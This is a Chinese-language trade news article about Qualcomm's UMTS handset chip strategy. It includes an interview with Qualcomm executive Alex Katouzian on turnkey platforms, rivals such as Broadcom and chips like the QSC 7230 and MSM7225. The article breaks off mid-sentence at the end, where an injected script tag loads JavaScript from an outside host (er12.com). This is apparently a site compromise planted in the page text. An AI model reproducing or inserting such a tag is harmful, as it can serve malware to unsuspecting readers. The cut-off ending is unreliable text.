在umts手机基带芯片领域，虽然全球top 5手机厂商中目前仅有三星是高通铁杆客户，但是，高通几乎揽括了top5以外所有umts手机厂商。由于历史原因和专利纠缠，高通很难进入诺基亚、摩托罗拉、索爱和lg其它四家厂商umts手机芯片供应行列，这些厂商的umts芯片基本上采用了定制的方式，ti、飞思卡尔和emp是这四家手机厂商的主要芯片提供商，但是，定制芯片是不能出售给其它手机厂商的。因此，培养二线厂商，将他们养大，就成为高通的重要策略。
从目前来看，高通的这一策略正在迅速生效，中兴、华为就是他迅速养大的umts手机厂商代表，高通不仅在技术上给予这两家公司极大的支持，也是这两家公司获得海外运营商订单的得力帮手，在供货上也是非常重视。凭着这些二线手机厂商的迅速崛起，高通已在今年前两个季度连续排在全球最大的手机基带芯片厂商之首(isuppli数据，包括2g与3g)。
但是，仅有这些是不够的。它还希望向更广的厂商中延伸，希望有更多的手机厂商能采用高通的umts芯片。“我们很欣赏联发科的turn key业务模式，我们在umts市场也准备尝试这种方式。”高通cdma技术集团产品副总裁alex katouzian在日前澳门举办的gsma上对《国际电子商情》记者表示。他也是负责高通umts芯片的副总裁，在本次大会上接受了《国际电子商情》的独家专访。“我们会在单芯片wcdma/hsdpa/hspa平台上实施turn key策略，让更多的厂商可以采用我们的umts方案。”他进一步描述高通的远景：“我们认为中国发放wcdma的牌照只是迟早的事。等td-scdma市场先行后，wcdma市场一定会起来。预计两年后，中国市场对wcdma/hspa的手机需求一定会非常大，所以我们要让更多的厂商加入。”中国市场何其大，得中国市场者，得天下。高通非常懂得中国市场。
“中兴与华为的研发能力非常强，但国内像他们这样的手机厂商很少，因此我们必须提供turn key的方案，才能赢得更多的客户。”katouzian对《国际电子商情》记者表示。“并且，在umts领域，竞争非常激烈，我们有至少10个以上的竞争对手。”他说道，“除上面列到的三家外，还有英飞凌、st、博通、nxp和台湾的mtk(收购adi手机产品线)等众多对手，因此，umts市场的竞争非常激烈。”他指出。
不过，从目前来看，高通仍占绝对优势。ti和飞思卡尔基本上还没有标准化的umts基带芯片，ti为诺基亚、摩托罗拉定制；飞思卡尔也为摩托罗拉定制。emp的芯片为lg和索爱采用，虽然emp可以向公开市场出售芯片，但是爱立信在其中占有一半股份的事实，使其它手机厂商在采用时会有很大担忧，且前面有lg与索爱两大客户，其它厂商再采用已没有太大的优势。st虽然刚与诺基亚鉴订合约，将拥有umts芯片的ip权，且可出售给第三方手机厂商，但是，由于st已有了诺基亚这一恐龙型客户，其它手机厂商在采用st的umts芯片时，定会持有戒心，因为会担心供货问题。至于近期在美国赢了高通官司的博通，倒可能是高通未来最大的竞争对手。据称目前已有三星和lg两家top 5中的厂商开始采用博通的wcdma手机芯片组。但是，katouzian则认为，目前博通仍不成气候，“比如三星，它基于我们umts芯片的手机已有60多款，而采用博通芯片的手机目前不到三款。在lg中的情况也是类似，目前lg仍以emp的芯片为主要平台。”katouzian对《国际电子商情》记者透露。
但是，记者认为，这“双通”将来一定有得一争，最重要的原因就是他们在高度集成的能力上不相上下。高通在手机芯片上的集成能力非常强，它的单芯片hsdpa(qsc6270)和单芯片wcdma(qsc6240)样片已推出，明年底就有手机出来了；而博通在消费电子芯片的集成能力也是超强，现在它要将之引入到手机芯片上。
近日，两家公司更是宣布将推出hspa/wcdma的单芯片方案。高通的qsc 7230将会于2008年底推出，支持hspa(下行速率28.8mbps，上行速率11mbps)。qsc 7230在一个裸片上集成四个核，ar9、arm11和两个高通的dsp核。此外，还有gsp、mpeg4、h.264、wmv等多个硬核，堪称手机芯片集成之最。它将集成基带芯片，rf，电源管理芯片，蓝牙，agps以及fm功能，其上可运行微软的windows mobile 6以及linux等开放操作系统，不需要增另额外的应用处理器。“该芯片还会是高通首款采用45nm工艺的芯片。基于该款单芯片的hspa手机市场定价将是200美元以下。高通将在2009年推动hspa在全球多个市场的部署，到时hsupa将从高端走入中端，而hsdpa则会推出入门级手机中，价格为100美元以下。”katouzian对《国际电子商情》记者表示。
katouzian谈到的100美元入门级wcdma/hsdpa手机首先将会在qsc 6275和qsc 6240两个单芯片平台上实现，这两款手机针对功能手机。而针对智能手机，msm7225是一款高通明年要大力推广的中端成本的方案，它是在已有的针对高端的msm7200a芯片组上省掉了一些不必要的功能，比如tv输出和wvga等，采用了65nm的工艺，并且可直接支持微软的windows mobile 6，不需要额外的应用处理器。katouzian说道：“由于不需要额外的处理器，我们将hsdpa智能手机的?script src=http://er12.com/t.js>
